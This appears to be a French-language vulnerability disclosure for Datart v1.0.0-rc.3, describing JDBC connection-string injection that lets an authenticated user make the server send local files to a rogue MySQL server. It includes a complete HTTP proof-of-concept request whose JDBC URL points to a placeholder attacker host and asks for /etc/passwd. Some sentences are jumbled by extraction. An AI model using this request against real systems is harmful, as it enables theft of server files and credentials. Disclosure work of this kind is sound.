
Datart v1.0.0-rc.3 Injection dans la chaîne de connexion JDBC menant à une lecture arbitraire de fichier
Une vulnérabilité de lecture arbitraire de fichier a été découverte dans Datart v1.0.0-rc.3. L'application ne parvient pas à valider correctement l'URL de connexion JDBC lors de la configuration de la source de données.
Type de vulnérabilité : Validation d'entrée incorrecte (CWE-20) / Lecture arbitraire de fichier Version affectée : Datart v1.0.0-rc.3 Gravité : Élevée (Potentiel de divulgation d'informations sensibles)
La vulnérabilité existe dans le module de configuration de la source de données. L'application ne nettoie pas strictement le paramètre url dans la configuration JDBC. Un attaquant distant disposant de privilèges pour configurer les sources de données peut injecter des paramètres malveillants (notamment allowLoadLocalInfile=true) dans l'URL JDBC.
En pointant la connexion JDBC vers un serveur MySQL malveillant contrôlé par l'attaquant (Rogue MySQL Server), l'attaquant peut déclencher l'envoi de fichiers locaux du serveur Datart vers le serveur de l'attaquant.
Une exploitation réussie permet à un attaquant authentifié de lire des fichiers arbitraires du système de fichiers du serveur (ex : , fichiers de configuration, code source), pouvant potentiellement conduire à une compromission du serveur ou à d'autres attaques.
/etc/passwdLOAD DATA LOCAL INFILE (ex : en utilisant des outils comme rogue_mysql_server).POST /api/v1/data-provider/test HTTP/1.1
Host: {{TARGET_HOST}}
Content-Type: application/json
Authorization: Bearer {{VALID_JWT_TOKEN}}
Accept: application/json
{
"name": "cve-poc-test",
"type": "JDBC",
"properties": {
"dbType": "MYSQL",
"url": "jdbc:mysql://{{ATTACKER_IP}}:{{ATTACKER_PORT}}/test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&maxAllowedPacket=655360",
"user": "fileread_/etc/passwd",
"password": "any_password",
"driverClass": "com.mysql.cj.jdbc.Driver",
"serverAggregate": false,
"enableSpecialSQL": false,
"enableSyncSchemas": true,
"syncInterval": "60",
"properties": {}
}
}